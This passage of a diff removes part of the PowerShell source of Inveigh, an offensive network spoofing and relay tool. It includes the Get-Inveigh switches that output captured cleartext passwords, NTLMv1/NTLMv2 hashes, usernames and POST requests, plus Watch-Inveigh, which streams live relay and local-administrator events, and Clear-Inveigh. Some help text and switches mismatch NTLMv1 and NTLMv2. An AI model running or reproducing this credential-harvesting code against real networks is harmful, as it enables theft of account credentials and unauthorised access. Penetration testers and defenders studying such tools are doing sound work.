-Get captured cleartext credentials. - -.PARAMETER CleartextUnique -Get unique captured cleartext credentials. - -.PARAMETER NTLMv1 -Get captured NTLMv1 challenge/response hashes. - -.PARAMETER NTLMv1Unique -Get the first captured NTLMv1 challenge/response for each unique account. - -.PARAMETER NTLMv1Usernames -Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. - -.PARAMETER NTLMv2 -Get captured NTLMv1 challenge/response hashes. - -.PARAMETER NTLMv2Unique -Get the first captured NTLMv2 challenge/response for each unique account. - -.PARAMETER NTLMv2Usernames -Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. - -.PARAMETER POSTRequest -Get captured POST requests. - -.PARAMETER POSTRequestUnique -Get unique captured POST request. -#> - -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][Switch]$Cleartext, - [parameter(Mandatory=$false)][Switch]$CleartextUnique, - [parameter(Mandatory=$false)][Switch]$Console, - [parameter(Mandatory=$false)][Switch]$Learning, - [parameter(Mandatory=$false)][Switch]$Log, - [parameter(Mandatory=$false)][Switch]$NTLMv1, - [parameter(Mandatory=$false)][Switch]$NTLMv2, - [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, - [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, - [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, - [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, - [parameter(Mandatory=$false)][Switch]$POSTRequest, - [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if($Console -or $PSBoundParameters.Count -eq 0) -{ - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveAt(0) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - } - -} - -if($Log) -{ - Write-Output $inveigh.log -} - -if($NTLMv1) -{ - Write-Output $inveigh.NTLMv1_list -} - -if($NTLMv1Unique) -{ - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output $unique_NTLMv1 - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - -} - -if($NTLMv1Usernames) -{ - Write-Output $inveigh.NTLMv2_username_list -} - -if($NTLMv2) -{ - Write-Output $inveigh.NTLMv2_list -} - -if($NTLMv2Unique) -{ - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output $unique_NTLMv2 - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - -} - -if($NTLMv2Usernames) -{ - Write-Output $inveigh.NTLMv2_username_list -} - -if($Cleartext) -{ - Write-Output $inveigh.cleartext_list -} - -if($CleartextUnique) -{ - Write-Output $inveigh.cleartext_list | Get-Unique -} - -if($POSTRequest) -{ - Write-Output $inveigh.POST_request_list -} - -if($POSTRequestUnique) -{ - Write-Output $inveigh.POST_request_list | Get-Unique -} - -if($Learning) -{ - Write-Output $inveigh.valid_host_list -} - -} - -function Watch-Inveigh -{ -<# -.SYNOPSIS -Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. - -.PARAMETER ConsoleOutput -(Medium,Low) Medium and Low can be used to reduce output. -#> - -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][ValidateSet("Low","Medium")][String]$ConsoleOutput = "Y", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if($inveigh.tool -ne 1) -{ - - if($inveigh.running -or $inveigh.relay_running) - { - Write-Output "Press any key to stop real time console output" - $inveigh.console_output = $true - - :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} - { - - if($ConsoleOutput -eq 'Y') - { - Write-Output $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveAt(0) - - } - - {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} - { - - if($ConsoleOutput -ne "Low") - { - Write-Output $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveAt(0) - - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - Start-Sleep -m 5 - } - - } - else - { - Write-Output "Inveigh isn't running" - } - -} -else -{ - Write-Output "Watch-Inveigh cannot be used with current external tool selection" -} - -} - -function Clear-Inveigh -{ -<# -.SYNOPSIS -Clear-Inveigh will clear Inveigh data from memory. -#> - -if($inveigh) -{ - - if(!$inveigh.running -and !$inveigh.relay_running) - { - Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" - } - else - { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" - } - -} - -} \ No newline at end of file